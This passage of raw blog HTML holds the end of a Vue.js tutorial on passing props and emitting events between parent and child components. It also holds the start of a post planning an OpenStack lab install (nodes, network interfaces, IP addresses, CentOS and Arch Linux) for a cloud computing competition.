class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="kr">export</span> <span class="k">default</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">components</span><span class="o">:</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">ChildComponent</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="p">},</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span> </span></span></code></pre></td></tr></table> </div> </div><h3 id="step-2-define-the-data-in-the-parent-component">Step 2: Define the Data in the Parent Component</h3> <ol> <li>In the parent component&rsquo;s script section, define a data property to store the value that will be passed to the child component.</li> </ol> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span><span class="lnt">7 </span><span class="lnt">8 </span><span class="lnt">9 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vue" data-lang="vue"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">script</span> <span class="na">lang</span><span class="o">=</span><span class="s">&#34;ts&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="kr">export</span> <span class="k">default</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">data</span><span class="p">()</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="p">};</span> </span></span><span class="line"><span class="cl"> <span class="p">},</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span> </span></span></code></pre></td></tr></table> </div> </div><ol start="2"> <li>Assign the initial value to the data property. This will be the value passed initially to the child component.</li> </ol> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span><span class="lnt">7 </span><span class="lnt">8 </span><span class="lnt">9 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vue" data-lang="vue"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">script</span> <span class="na">lang</span><span class="o">=</span><span class="s">&#34;ts&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="kr">export</span> <span class="k">default</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">data</span><span class="p">()</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">message</span><span class="o">:</span> <span class="s1">&#39;Hello from the parent component!&#39;</span><span class="p">,</span> <span class="c1">// Value to pass to child component </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="p">};</span> </span></span><span class="line"><span class="cl"> <span class="p">},</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span> </span></span></code></pre></td></tr></table> </div> </div><h3 id="step-3-pass-the-data-as-a-prop-to-the-child-component">Step 3: Pass the Data as a Prop to the Child Component</h3> <p>1.In the parent component&rsquo;s template, add the child component and use the colon (:) binding to pass the data property as a prop to the child component.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vue" data-lang="vue"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">template</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;FatherBox&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">ChildComponent</span> <span class="nt">:message</span><span class="o">=</span><span class="s">&#34;message&#34;</span> <span class="p">/&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">template</span><span class="p">&gt;</span> </span></span></code></pre></td></tr></table> </div> </div><ol start="2"> <li>The prop name in the child component should match the name you choose when passing the prop in the parent component.</li> </ol> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vue" data-lang="vue"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">script</span> <span class="na">lang</span><span class="o">=</span><span class="s">&#34;ts&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="kr">import</span> <span class="nx">ChildComponent</span> <span class="nx">from</span> <span class="s1">&#39;./ChildComponent.vue&#39;</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="kr">export</span> <span class="k">default</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">components</span><span class="o">:</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">ChildComponent</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="p">},</span> </span></span><span class="line"><span class="cl"> <span class="nx">data</span><span class="p">()</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">message</span><span class="o">:</span> <span class="s1">&#39;Hello from the parent component!&#39;</span><span class="p">,</span> <span class="c1">// Value to pass to child component </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="p">};</span> </span></span><span class="line"><span class="cl"> <span class="p">},</span> </span></span><span class="line"><span class="cl"> <span class="nx">methods</span><span class="o">:</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">changeMessage</span><span class="p">()</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">this</span><span class="p">.</span><span class="nx">message</span> <span class="o">=</span> <span class="s1">&#39;New message from parent!&#39;</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="p">},</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"><span class="p">};</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span> </span></span></code></pre></td></tr></table> </div> </div><h3 id="step-4-create-the-child-component">Step 4: Create the Child Component</h3> <ol> <li> <p>Create a new Vue component file for the child component (e.g., <code>ChildComponent.vue</code>).</p> </li> <li> <p>In the child component&rsquo;s template, define the child component&rsquo;s content. This will include rendering the prop value passed from the parent component.</p> </li> </ol> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vue" data-lang="vue"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">template</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">div</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">p</span><span class="p">&gt;{{</span> <span class="nx">message</span> <span class="p">}}&lt;/</span><span class="nt">p</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">template</span><span class="p">&gt;</span> </span></span></code></pre></td></tr></table> </div> </div><h3 id="step-5-define-the-prop-in-the-child-component">Step 5: Define the Prop in the Child Component</h3> <ol> <li>In the child component&rsquo;s script section, define the prop for receiving the data sent by the parent component.</li> </ol> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span><span class="lnt">7 </span><span class="lnt">8 </span><span class="lnt">9 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vue" data-lang="vue"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">script</span> <span class="na">lang</span><span class="o">=</span><span class="s">&#34;ts&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="kr">export</span> <span class="k">default</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">props</span><span class="o">:</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">message</span><span class="o">:</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="p">},</span> </span></span><span class="line"><span class="cl"> <span class="p">},</span> </span></span><span class="line"><span class="cl"><span class="p">};</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span> </span></span></code></pre></td></tr></table> </div> </div><ol start="2"> <li>Specify the type of the prop (e.g., <code>String</code>, <code>Number</code>, etc.) to ensure data integrity. You can also set <code>required: true</code> if the prop must be passed.</li> </ol> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vue" data-lang="vue"><span class="line"><span class="cl"><span class="nx">message</span><span class="o">:</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">type</span><span class="o">:</span> <span class="nb">String</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nx">required</span><span class="o">:</span> <span class="kc">true</span><span class="p">,</span> </span></span><span class="line"><span class="cl"><span class="p">},</span> </span></span></code></pre></td></tr></table> </div> </div><h3 id="step-6-emit-an-event-from-the-child-component">Step 6: Emit an Event from the Child Component</h3> <ol> <li>In the child component&rsquo;s script, define a method that will emit an event to communicate with the parent component.</li> </ol> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vue" data-lang="vue"><span class="line"><span class="cl"><span class="nx">methods</span><span class="o">:</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">changeMessage</span><span class="p">()</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">newMessage</span> <span class="o">=</span> <span class="s1">&#39;New message from child!&#39;</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="p">},</span> </span></span><span class="line"><span class="cl"><span class="p">},</span> </span></span></code></pre></td></tr></table> </div> </div><ol start="2"> <li>Inside the method, use this.$emit(&rsquo;event-name&rsquo;, data) to emit the event. Choose a suitable event name and pass any relevant data to the parent component.</li> </ol> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vue" data-lang="vue"><span class="line"><span class="cl"><span class="nx">methods</span><span class="o">:</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">changeMessage</span><span class="p">()</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">newMessage</span> <span class="o">=</span> <span class="s1">&#39;New message from child!&#39;</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">this</span><span class="p">.</span><span class="nx">$emit</span><span class="p">(</span><span class="s1">&#39;update-message&#39;</span><span class="p">,</span> <span class="nx">newMessage</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="p">},</span> </span></span><span class="line"><span class="cl"><span class="p">},</span> </span></span></code></pre></td></tr></table> </div> </div><h3 id="step-7-handle-the-event-in-the-parent-component">Step 7: Handle the Event in the Parent Component</h3> <ol> <li>In the parent component&rsquo;s script, define a method that will handle the event emitted by the child component.</li> </ol> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vue" data-lang="vue"><span class="line"><span class="cl"><span class="nx">updateMessage</span><span class="p">(</span><span class="nx">newMessage</span><span class="o">:</span> <span class="nx">any</span><span class="p">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="p">},</span> </span></span></code></pre></td></tr></table> </div> </div><ol start="2"> <li>Add an event listener to the child component instance in the parent component&rsquo;s template, using <code>@event-name=&quot;methodName&quot;</code>.</li> </ol> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vue" data-lang="vue"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">template</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">ChildComponent</span> <span class="nt">:message</span><span class="o">=</span><span class="s">&#34;message&#34;</span> <span class="nt">@update-message</span><span class="s">=&#34;updateMessage&#34;</span> <span class="p">/&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">template</span><span class="p">&gt;</span> </span></span></code></pre></td></tr></table> </div> </div><ol start="3"> <li>In the method, receive the emitted data as an argument and update the parent component&rsquo;s data accordingly.</li> </ol> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vue" data-lang="vue"><span class="line"><span class="cl"><span class="nx">updateMessage</span><span class="p">(</span><span class="nx">newMessage</span><span class="o">:</span> <span class="nx">any</span><span class="p">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">this</span><span class="p">.</span><span class="nx">message</span> <span class="o">=</span> <span class="nx">newMessage</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">},</span> </span></span></code></pre></td></tr></table> </div> </div><hr> <h3 id="compeleted-code">Compeleted Code</h3> <p>ParentComponent:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span><span class="lnt">26 </span><span class="lnt">27 </span><span class="lnt">28 </span><span class="lnt">29 </span><span class="lnt">30 </span><span class="lnt">31 </span><span class="lnt">32 </span><span class="lnt">33 </span><span class="lnt">34 </span><span class="lnt">35 </span><span class="lnt">36 </span><span class="lnt">37 </span><span class="lnt">38 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vue" data-lang="vue"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">template</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;FatherBox&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">ChildComponent</span> <span class="nt">:message</span><span class="o">=</span><span class="s">&#34;message&#34;</span> <span class="nt">@update-message</span><span class="s">=&#34;updateMessage&#34;</span> <span class="p">/&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">button</span> <span class="nt">@click</span><span class="s">=&#34;changeMessage&#34;</span><span class="p">&gt;</span><span class="na">Change</span> <span class="na">Message</span> <span class="na">By</span> <span class="na">ParentComponent</span><span class="p">&lt;/</span><span class="nt">button</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">template</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">script</span> <span class="na">lang</span><span class="o">=</span><span class="s">&#34;ts&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="kr">import</span> <span class="nx">ChildComponent</span> <span class="nx">from</span> <span class="s1">&#39;./ChildComponent.vue&#39;</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="kr">export</span> <span class="k">default</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">components</span><span class="o">:</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">ChildComponent</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="p">},</span> </span></span><span class="line"><span class="cl"> <span class="nx">data</span><span class="p">()</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">return</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">message</span><span class="o">:</span> <span class="s1">&#39;Hello from the parent component!&#39;</span><span class="p">,</span> <span class="c1">// Value to pass to child component </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="p">};</span> </span></span><span class="line"><span class="cl"> <span class="p">},</span> </span></span><span class="line"><span class="cl"> <span class="nx">methods</span><span class="o">:</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">updateMessage</span><span class="p">(</span><span class="nx">newMessage</span><span class="o">:</span> <span class="nx">any</span><span class="p">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">this</span><span class="p">.</span><span class="nx">message</span> <span class="o">=</span> <span class="nx">newMessage</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="p">},</span> </span></span><span class="line"><span class="cl"> <span class="nx">changeMessage</span><span class="p">()</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">this</span><span class="p">.</span><span class="nx">message</span> <span class="o">=</span> <span class="s1">&#39;New message from parent!&#39;</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="p">},</span> </span></span><span class="line"><span class="cl"> <span class="p">},</span> </span></span><span class="line"><span class="cl"><span class="p">};</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">style</span> <span class="na">scoped</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nx">FatherBox</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">background</span><span class="o">-</span><span class="nx">color</span><span class="o">:</span> <span class="err">#</span><span class="nx">f1f1f1</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="nx">border</span><span class="o">-</span><span class="nx">radius</span><span class="o">:</span> <span class="mi">20</span><span class="nx">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="nx">box</span><span class="o">-</span><span class="nx">shadow</span><span class="o">:</span> <span class="mi">0</span> <span class="mi">5</span><span class="nx">px</span> <span class="mi">5</span><span class="nx">px</span> <span class="nx">rgba</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mf">0.2</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="nx">padding</span><span class="o">:</span> <span class="mi">20</span><span class="nx">px</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">style</span><span class="p">&gt;</span> </span></span></code></pre></td></tr></table> </div> </div><p>ChildComponent:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vue" data-lang="vue"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">template</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">div</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">p</span><span class="p">&gt;{{</span> <span class="nx">message</span> <span class="p">}}&lt;/</span><span class="nt">p</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">button</span> <span class="nt">@click</span><span class="s">=&#34;changeMessage&#34;</span><span class="p">&gt;</span><span class="na">Change</span> <span class="na">Message</span><span class="p">&lt;/</span><span class="nt">button</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">template</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">script</span> <span class="na">lang</span><span class="o">=</span><span class="s">&#34;ts&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="kr">export</span> <span class="k">default</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">props</span><span class="o">:</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">message</span><span class="o">:</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="p">},</span> </span></span><span class="line"><span class="cl"> <span class="p">},</span> </span></span><span class="line"><span class="cl"> <span class="nx">methods</span><span class="o">:</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">changeMessage</span><span class="p">()</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">newMessage</span> <span class="o">=</span> <span class="s1">&#39;New message from child!&#39;</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">this</span><span class="p">.</span><span class="nx">$emit</span><span class="p">(</span><span class="s1">&#39;update-message&#39;</span><span class="p">,</span> <span class="nx">newMessage</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="p">},</span> </span></span><span class="line"><span class="cl"> <span class="p">},</span> </span></span><span class="line"><span class="cl"><span class="p">};</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span> </span></span></code></pre></td></tr></table> </div> </div><h2 id="test">Test</h2> <p>Then we can execute <code>yarn dev</code> to start a development server and we can see a page like this:</p> <p></p> <p>Now Let&rsquo;s try clicking the first button!</p> <p></p> <p>Obviously! The content of the text changed!</p> <p>Then let&rsquo;s click the second button!</p> <p></p> <p>It became &ldquo;New message from parent!&rdquo;!</p> <p>That&rsquo;s amazing right?</p> <h2 id="conclusion">Conclusion</h2> <p>That&rsquo;s it! By following these steps, you can successfully pass a value from a parent component to a child component using props and events in Vue.js. Don&rsquo;t forget to save your files, import components where necessary, and register components appropriately.</p>

2023/7/22
阅读更多

Attempted solution to the OpenStack Provincial Competition problem (Part One: Installation)

<div class="featured-image"> <img src="/img/2023-05-04-17-14-22%e5%b1%8f%e5%b9%95%e6%88%aa%e5%9b%be.png" referrerpolicy="no-referrer"> </div><h2 id="introduction">Introduction</h2> <p>As you know, I have been fortunate enough to be selected by my instructors to participate in the provincial cloud computing competition. As a result, I have joined the project group in campus.</p> <p>As a member of the group, I need to study hard and continuously expand my knowledge. To achieve good results at the upcoming provincial competition, we need to learn about the structure of private clouds and the different types of container clouds.</p> <p>One suggested option for a private cloud solution is <strong>OpenStack</strong>, which can be complex and require significant effort to master.</p> <p>However, I am still motivated to pursue this technology as I have a strong interest in IT and Linux-related topics, and I believe that the challenge of learning OpenStack will ultimately improve my knowledge and skills.</p> <p>Therefore, I made a decision to write some articles on my blog site to document my study process.</p> <h2 id="preparation">Preparation</h2> <h3 id="nodes">Nodes</h3> <p>At first of the first, I need to understand a basic example structrue of the OpenStack.</p> <p>Without doubt, this picture below is a reasonable and official one.</p> <p></p> <p>However, limited by the performance and small disk storage, I can only create mainly <strong>2</strong> nodes and <strong>an extra resource node to provide the images and repos</strong>.</p> <p>I won&rsquo;t create independent <strong>Object Storage Node</strong> and <strong>Block Storage Node</strong> while it&rsquo;s a better choice to add 2 extra virtual disks to the Compute Node.</p> <p>And for the <strong>Cinder Service</strong>, I will only provide <strong>1</strong> disk with <strong>2</strong> partitions to run the service.</p> <p>The details of my VirutalBox properties is blow:</p> <p> </p> <p>By the way, I have to explain the Arch VM, it&rsquo;s only a resource node to provide the HTTP downloading and <code>yum</code> repo service.</p> <p>So I just use <strong>256MB RAM and 1 core</strong>, but <strong>2</strong> disks to storage the multiple and large repo files.</p> <p></p> <h3 id="network">Network</h3> <h4 id="network-interfaces">Network Interfaces</h4> <p>In order to set up the OpenStack Services, each node (compute and controller) need to use 2 network interfaces.</p> <p>The first one is used to connect to the <strong>Management NetWork</strong> while the second one is used to connect the <strong>Operation Network</strong>.</p> <table> <thead> <tr> <th style="text-align:center">Network Interface</th> <th style="text-align:center">Network</th> <th style="text-align:center">Usage</th> </tr> </thead> <tbody> <tr> <td style="text-align:center">enp0s3</td> <td style="text-align:center">192.168.56.0/24</td> <td style="text-align:center">Management NetWork</td> </tr> <tr> <td style="text-align:center">enp0s8</td> <td style="text-align:center">172.129.1.0/24</td> <td style="text-align:center">Operation Network</td> </tr> </tbody> </table> <h4 id="nodes-ip-address">Nodes IP Address</h4> <p>So the detail netowrk properties is below:</p> <table> <thead> <tr> <th style="text-align:center">Node</th> <th style="text-align:center">Management Address</th> <th style="text-align:center">Operation Address</th> </tr> </thead> <tbody> <tr> <td style="text-align:center">controller</td> <td style="text-align:center">192.168.56.2</td> <td style="text-align:center">172.129.1.1</td> </tr> <tr> <td style="text-align:center">compute</td> <td style="text-align:center">192.168.56.3</td> <td style="text-align:center">172.129.1.2</td> </tr> <tr> <td style="text-align:center">Resource</td> <td style="text-align:center">192.168.56.100</td> <td style="text-align:center">None</td> </tr> </tbody> </table> <h3 id="operating-system">Operating System</h3> <p>CentOS will be installed in the controller and compute and the Arch Linux will be installed in Resouce.</p> <table> <thead> <tr> <th style="text-align:center">Node</th> <th style="text-align:center">OS</th> </tr> </thead> <tbody> <tr> <td style="text-align:center">controller</td> <td style="text-align:center">CentOS 7</td> </tr> <tr> <td style="text-align:center">compute</td> <td style="text-align:center">CentOS 7</td> </tr> <tr> <td style="text-align:center">Resource</td> <td style="text-align:center">Arch Linux</td> </tr> </tbody> </table> <h4 id="set-up-the-network">Set up the network</h4> <p>Edit the file <code>/etc/sysconfig/network-scripts/ifcfg-enp0s3</code> and <code>/etc/sysconfig/network-scripts/ifcfg-enp0s8</code> on each nodes.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl"># vim /etc/sysconfig/network-scripts/ifcfg-enp0s3 </span></span><span class="line"><span class="cl"># vim 